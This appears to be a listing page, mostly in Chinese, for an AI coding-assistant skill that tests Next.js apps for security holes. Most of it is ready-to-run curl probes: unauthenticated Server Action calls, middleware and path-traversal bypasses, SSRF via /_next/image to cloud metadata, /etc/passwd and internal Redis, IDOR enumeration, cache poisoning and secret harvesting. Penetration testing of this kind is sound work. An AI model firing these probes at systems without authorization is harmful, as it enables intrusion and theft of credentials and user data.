关于 hunt-nextjs
用于检测 Next.js 应用漏洞的 Web 安全测试技能,涵盖 Server Actions、中间件、图像优化和数据端点。它提供探测与验证方法,并说明如何避免把正常响应误判为漏洞。
主要功能
- 01Next.js 指纹识别与版本检查
- 02Server Actions 授权测试
- 03中间件绕过与数据泄露检查
- 04图像优化器 SSRF 探测
- 05ISR 缓存与调试端点检查
适用场景
- 01检查 Server Actions 是否缺少授权
- 02通过数据端点测试受保护页面
- 03探测图像优化功能是否存在 SSRF
- 04验证疑似缓存投毒或数据泄露
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-nextjs安装后在 Claude Code 中输入/hunt-nextjs确认已加载。
详细介绍
HUNT-NEXTJS — Next.js / SSR 框架漏洞
皇冠明珠目标
可绕过身份验证或实现 SSRF 的 Next.js 特定漏洞 = 高危 / 严重。
价值最高的攻击链:
- Server Actions 身份验证绕过 — Server Actions 仅在客户端强制执行身份验证 → 直接调用操作 ID → 未授权数据修改或窃取
- 通过
/_next/static/绕过中间件 — 中间件跳过静态资源路径 → 通过/_next/data/IDOR 访问受保护路由 /_next/imageSSRF — 图像优化器获取攻击者控制的 URL → 扫描内部网络或云元数据- ISR 缓存投毒 — 将恶意内容注入缓存页面,并将其提供给所有用户
- RSC 负载泄露 — React Server Component 飞行数据包含不应提供给客户端的服务端属性
攻击面信号
/_next/image?url=&w=&q= Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame Debug stack frame endpoint
/_next/static/chunks/ JS bundles — source map candidate
/api/ API routes — standard hunt surface
__NEXT_DATA__ in HTML SSR props leaked to client
x-nextjs-* response headers Confirms Next.js
阶段 1 — 指纹识别与版本检测
# Confirm Next.js and get build ID
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"buildId":"[^"]+"'
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"
# Check Next.js version via package disclosure
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/_next/static/chunks/framework*.js | grep -Eo '"next":"[^"]+"'
# Source map exposure
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
阶段 2 — 滥用 Server Actions
# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
# Call Server Action directly without auth
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/target-page \
-H "Next-Action: ACTION_ID_HERE" \
-H "Content-Type: multipart/form-data; boundary=----" \
-H "Cookie: " \
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only
阶段 3 — 绕过中间件身份验证
# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible
# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/../admin/dashboard"
# Encoded path bypass
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
阶段 4 — 图像优化 SSRF(/_next/image)
# Basic SSRF test — internal metadata
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=http://[REDACTED_IP]/latest/meta-data/&w=64&q=75"
# Protocol bypass attempts
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain
误报防护(声称存在 SSRF 前请先阅读): /_next/image 只会获取 next.config.js 中 images.remotePatterns / images.domains 允许的 URL。非白名单中的 url 默认会返回 400——这是优化器正常的允许列表拒绝,并不是你绕过的“拦截”。200 返回的是优化后的图像,而不是上游响应正文,因此仅凭状态码绝不能确认 SSRF。只能通过对唯一的 Collaborator 子域名进行带外回调(见上文),或对已知内部和已知外部目标的响应正文进行差异比较来确认。请勿根据状态码报告问题。
注意:CVE-2024-34351(Next.js SSRF,GHSA-fr5h-rqp8-mj6g,影响 13.4.0 至 < 14.1.1,已在 14.1.1 修复)是 Server Actions SSRF——信任
Host请求头的相对重定向——并非/_next/image漏洞,也不会影响 Vercel 等基于 Host 路由的提供商。有关 Server Actions 攻击面,请参阅阶段 2。
阶段 5 — /_next/data/ IDOR 与数据泄露
# Enumerate prerendered JSON for user-specific data
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
-H "Cookie: session=VICTIM_SESSION"
# Try other users' data
for ID in 1 2 3 100 1000; do
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done
# Check __NEXT_DATA__ in HTML for sensitive server-side props
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/dashboard" | \
python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"
阶段 6 — ISR 缓存投毒
# ISR pages regenerate on request after revalidation period
# If user input influences the static page content without sanitization:
# 1. Trigger revalidation with malicious input in URL/query
# 2. Injected content cached and served to all users
# Test: does query param affect cached page content?
# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
# and confirm the response was actually CACHED + served to a DIFFERENT client.
MARK="zqx$(date +%s)"
# 1) Poison with the marker
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
# Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
# marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
curl --max-time 30 --connect-timeout 10 -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"
# On-demand revalidation endpoint (if exposed)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"
阶段 7 — 调试与堆栈帧端点
前提条件: __nextjs_launch-editor 和 __nextjs_original-stack-frame 是 react-dev-overlay 中间件,仅在 next dev 下挂载。生产构建(next build && next start)不会注册这些路由——此处返回 404 是正常且预期的结果,并非需要绕过的“过滤”。只有在极少见的配置错误中,即在生产环境实际运行 next dev,这些路由才可访问。将任何非 404 视为实际发现;请勿将 404 / 已过滤的响应报告为确认结果。
# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" \
"https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
# reference local files (file-read surface of a dev server wrongly exposed)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/__nextjs_original-stack-frame" \
--data '{"file":"/etc/passwd","line":1,"column":1}'
阶段 8 — 环境变量泄露
# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"
# Check for non-public vars accidentally exposed
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | python3 -c "
import sys, re, json
m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
if m:
d = json.loads(m.group(1))
print(json.dumps(d.get('props', {}), indent=2))
"
攻击链表
| Next.js 发现 | 攻击链 | 影响 |
|---|---|---|
| Server Action 无身份验证 | 直接调用特权变更操作 | 数据篡改 / 管理员访问 |
/_next/image SSRF | 云元数据 → IAM 凭据 | 云环境失陷 |
/_next/data/ IDOR | 其他用户的服务端属性 | 窃取 PII / 令牌 |
| 中间件绕过 | 受保护的管理路由 | 身份验证绕过 |
| 源映射暴露 | 重建 TS 源代码 → 查找硬编码密钥 | 进一步发现漏洞 |
__NEXT_DATA__ 泄露 | HTML 中的服务端密钥 | API 密钥 / 令牌 |
验证
✅ Server Action:无有效会话即可执行操作,并返回数据或修改状态
✅ SSRF:收到来自 /_next/image SSRF 的 DNS / HTTP 回调
✅ 中间件绕过:无身份验证 Cookie 时,受保护路由返回 200
✅ 数据泄露:__NEXT_DATA__ 包含非公开密钥或其他用户的 PII
严重程度:
- Server Action 身份验证绕过 → 数据修改:高危 / 严重
- 图像 SSRF → 云元数据:严重
- 中间件绕过 → 管理面板:高危
- 仅暴露源映射:低危至中危
验证
运行此自测,确认 nextjs hunting 已准备就绪:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-nextjs" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
这 3 项测试可验证技能结构正确且已准备就绪。
陷阱
- 生产环境中的 Next.js source maps —
/_next/中的.map文件属于信息泄露(源代码可见),而非 RCE。 - _next/data 端点枚举 — build ID + data 端点会暴露服务端 props。测试敏感数据是否通过 getServerSideProps 传递。
- 中间件绕过 — Next.js 中间件在 Edge 上运行。测试
/api/路径能否通过直接访问绕过中间件。 - ISR 缓存投毒 — 如果可以控制重新验证触发条件,增量静态再生成可能遭到投毒。